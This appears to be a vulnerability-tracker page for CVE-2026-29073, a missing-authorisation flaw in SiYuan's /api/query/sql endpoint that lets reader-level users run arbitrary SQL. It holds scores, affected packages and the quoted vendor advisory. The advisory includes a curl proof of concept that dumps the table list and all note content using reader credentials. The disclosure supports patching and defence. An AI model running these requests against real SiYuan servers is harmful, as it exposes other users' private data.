CVE-2026-29073
highpriority · track · 35OT risk · elevatedEPSS 0.005 · 42 %ileEUUSEPSS · scored 2026-10-24
SiYuan is a personal knowledge management system. Prior to version 3.6.0, the /api/query/sql lets a user run sql directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any sql query on the database. This issue has been patched in version 3.6.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–8.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
- Go github.com/siyuan-note/siyuan/kernel≤ 0.0.0-20260113130602-4ba64580c29cosvUSpkg:golang/github.com/siyuan-note/siyuan/kernel
- Go github.com/siyuan-note/siyuan/kernelall versionsosvUSpkg:golang/github.com/siyuan-note/siyuan/kernel
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-jqwg-75qf-vmf9SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access2026-03-03ghsa · osvUS
### Summary /api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database. ### Details The vulnerable endpoint is in kernel/api/sql.go ```go func SQL(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } stmt := arg["stmt"].(string) result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions } ``` The route in kernel/api/router.go only uses CheckAuth middleware e.g (similar) ```go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL) ``` ### PoC Start SiYuan with the publish service turned on ```bash # List out all tables in the database curl -s -u reader_user:reader_pass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}' # Extract all user content from the database curl -s -u reader_user:reader_pass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT id, content FROM blocks"}' ``` ### Impact - High impact, reader users can query all data in the db including other users notes - SQL api is mostly for select queries, but without validation, writes can still happen - Malicious SQL can lead to serious performance issues this is an auth bypass, the sql feature is for power users but even readers can use it
- GO-2026-4592SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access in github.com/siyuan-note/siyuan/kernel2026-03-10vendor · osvUS
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access in github.com/siyuan-note/siyuan/kernel
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (5)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-29073cnnvd
- https://b3log.org/siyuan/download.htmlPatchcnnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9cnnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9enisa_euvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan